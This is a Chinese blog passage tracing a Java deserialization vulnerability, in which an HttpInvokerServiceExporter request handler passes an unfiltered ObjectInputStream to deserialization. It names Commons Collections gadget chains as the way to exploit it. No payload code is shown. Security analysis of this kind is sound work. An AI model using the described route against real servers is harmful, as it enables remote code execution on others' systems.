之后调用 request.getRequestURI 方法,获取path路径,之后会在之后查找uri路径是否在skeletonMap中

如果没有,之后将会返回错误,当然是因为没有提供对应的服务啊!

之后就是获取远程地址和远程地址的端口,最后调用了 skeleton.handleRequest 方法

这个时候skeleton是 HttpInvokerServiceExporter 类,值得关注的他的contentType居然是 application/x-java-serialized-object 类型

来到handleRequest方法

跟进 readRemoteInvocation 方法调用

继续调用其方法重载(加上了个request作用域的输入流作为参数

在上面箭头位置,比如要在request域中获取inputstream,不然不会进入 doReadRemoteInvocation 方法的调用

我们跟进漏洞触发点方法 doReadRemoteInvocation 方法

在这里将ois这个ObejctInputStream对象直接没有过滤就进行了反序列化的调用,造成了反序列化漏洞

好了,调用链就到了这里,剩下的就是通过这个点打CC依赖

我们添加CC3.2的依赖,打CC4链子

2.7.5 版本中,在获取了skeleton之后调用其handle方法,此时的skeleton是 JsonRpcServer 对象

我们也可以知道其是调用的其父类的handler方法

在其中没有可反序列化的操作

相关推荐

jQuery VS AngularJS 你更钟爱哪个?

在这一次的Web开发教程中,我会尽力解答有关于jQuery和AngularJS的两个非常常见的问题,即jQuery和AngularJS之间的区别是什么?也就是说jQueryVSAngularJS?...

Jquery实时校验,指定长度的「负小数」,小数位未满末尾补0

在可以输入【负小数】的输入框获取到焦点时,移除千位分隔符,在输入数据时,实时校验输入内容是否正确,失去焦点后,添加千位分隔符格式化数字。同时小数位未满时末尾补0。HTML代码...

如何在pbootCMS前台调用自定义表单?pbootCMS自定义调用代码示例

要在pbootCMS前台调用自定义表单,您需要在后台创建表单并为其添加字段,然后在前台模板文件中添加相关代码,如提交按钮和表单验证代码。您还可以自定义表单数据的存储位置、添加文件上传字段、日期选择器、...

编程技巧:Jquery实时验证,指定长度的「负小数」

为了保障【负小数】的正确性,做成了通过Jquery,在用户端,实时验证指定长度的【负小数】的方法。HTML代码<inputtype="text"class="forc...

一篇文章带你用jquery mobile设计颜色拾取器

【一、项目背景】现实生活中,我们经常会遇到配色的问题,这个时候去百度一下RGB表。而RGB表只提供相对于的颜色的RGB值而没有可以验证的模块。我们可以通过jquerymobile去设计颜色的拾取器...

编程技巧:Jquery实时验证,指定长度的「正小数」

为了保障【正小数】的正确性,做成了通过Jquery,在用户端,实时验证指定长度的【正小数】的方法。HTML做成方法<inputtype="text"class="fo...

jquery.validate检查数组全部验证

问题:html中有多个name[],每个参数都要进行验证是否为空,这个时候直接用required:true话,不能全部验证,只要这个数组中有一个有值就可以通过的。解决方法使用addmethod...

Vue进阶(幺叁肆):npm查看包版本信息

第一种方式npmviewjqueryversions这种方式可以查看npm服务器上所有的...

layui中使用lay-verify进行条件校验

一、layui的校验很简单,主要有以下步骤:1.在form表单内加上class="layui-form"2.在提交按钮上加上lay-submit3.在想要校验的标签,加上lay-...

jQuery是什么?如何使用? jquery是什么功能组件

jQuery于2006年1月由JohnResig在BarCampNYC首次发布。它目前由TimmyWilson领导,并由一组开发人员维护。jQuery是一个JavaScript库,它简化了客户...

django框架的表单form的理解和用法-9

表单呈现...

jquery对上传文件的检测判断 jquery实现文件上传

总体思路:在前端使用jquery对上传文件做部分初步的判断,验证通过的文件利用ajaxFileUpload上传到服务器端,并将文件的存储路径保存到数据库。<asp:FileUploadI...

Nodejs之MEAN栈开发(四)-- form验证及图片上传

这一节增加推荐图书的提交和删除功能,来学习node的form提交以及node的图片上传功能。开始之前需要源码同学可以先在git上fork:https://github.com/stoneniqiu/R...

大数据开发基础之JAVA jquery 大数据java实战

上一篇我们讲解了JAVAscript的基础知识、特点及基本语法以及组成及基本用途,本期就给大家带来了JAVAweb的第二个知识点jquery,大数据开发基础之JAVAjquery,这是本篇文章的主要...

推荐四个开源的jQuery可视化表单设计器

jquery开源在线表单拖拉设计器formBuilder(推荐)jQueryformBuilder是一个开源的WEB在线html表单设计器,开发人员可以通过拖拉实现一个可视化的表单。支持表单常用控件...

取消回复欢迎 发表评论: